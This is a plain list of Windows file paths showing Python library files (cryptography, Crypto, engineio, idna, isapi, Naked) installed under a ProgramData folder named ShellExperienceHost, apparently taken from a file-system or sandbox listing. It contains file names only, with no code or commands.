        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\BASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\CERTIFICATE_TRANSPARENCY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\EXTENSIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\GENERAL_NAME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\NAME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\OCSP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\OID.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\X509\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\__ABOUT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTOGRAPHY\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\AES.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\ARC2.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\ARC4.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\BLOWFISH.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CAST.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CHACHA20.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\CHACHA20_POLY1305.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\DES.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\DES3.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\PKCS1_OAEP.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\PKCS1_V1_5.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\SALSA20.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_ARC4.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_CHACHA20.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_EKSBLOWFISH.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CBC.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CCM.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CFB.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_CTR.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_EAX.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_ECB.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_GCM.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OCB.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OFB.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_OPENPGP.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_MODE_SIV.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AES.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AESNI.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ARC2.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_BLOWFISH.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CAST.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CBC.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CFB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CTR.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_DES.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_DES3.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ECB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_EKSBLOWFISH.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OCB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_OFB.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_SALSA20.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__INIT__.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\BLAKE2B.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\BLAKE2S.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\CMAC.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\HMAC.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\KECCAK.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD2.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD4.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\MD5.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\POLY1305.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\RIPEMD.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\RIPEMD160.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA1.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA224.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA256.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA384.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_224.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_256.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_384.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_512.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA512.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHAKE128.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHAKE256.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2B.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2S.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_CLMUL.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_PORTABLE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_KECCAK.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD2.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD4.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD5.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_POLY1305.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_RIPEMD160.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA1.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA224.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA256.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA384.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA512.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__INIT__.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\KDF.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\SECRETSHARING.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\_SCRYPT.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__INIT__.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PY.TYPED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\RANDOM.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\__INIT__.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\ASN1.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\COUNTER.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\NUMBER.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\PADDING.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\PY3COMPAT.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\RFC1751.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\STRXOR.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPUID_C.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPU_FEATURES.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_FILE_SYSTEM.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_RAW_API.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_STRXOR.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\__INIT__.PYI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\DISTUTILS-PRECEDENCE.PTH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\EASY_INSTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\AIOHTTP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\ASGI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\EVENTLET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\GEVENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\GEVENT_UWSGI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\SANIC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\THREADING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\TORNADO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\MIDDLEWARE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PACKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PAYLOAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SOCKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\STATIC_FILES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\LICENSE.RST
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\CODEC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\IDNADATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\INTRANGES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\PACKAGE_DATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\UTS46DATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\DOC\ISAPI.HTML
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\INSTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\ISAPICON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\PYISAPI_LOADER.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\README.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\ADVANCED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\README.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR_ASYNCH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR_WITH_FILTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SIMPLE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST\EXTENSION_SIMPLE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST\README.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\THREADED_EXTENSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\DESCRIPTION.RST
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\ENTRY_POINTS.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\PYDIST.JSON
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\APP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDLINE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\ARGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\BUILD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\CLASSIFIER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\DIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\HELP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\LOCATE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\MAKE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\PROFILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\PYH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\USAGE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\SCRATCHPAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\SETTINGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\APP_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\LICENSES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\MANIFEST_IN_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\PROFILER_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\PYPUSH_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\README_MD_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETTINGS_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETUP_CFG_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETUP_PY_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\BENCHMARKING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\CASTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BENCHMARKING.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BENCHMARKING.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BUILD.SH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CASTS.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CASTS.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CSTATE.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CSTATE.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CYTHONIZE.SH
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\FILE.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\FILE.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\INK.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\INK.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\NETWORK.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\NETWORK.PYX
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\PYTHON.C
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\PYTHON.PYX
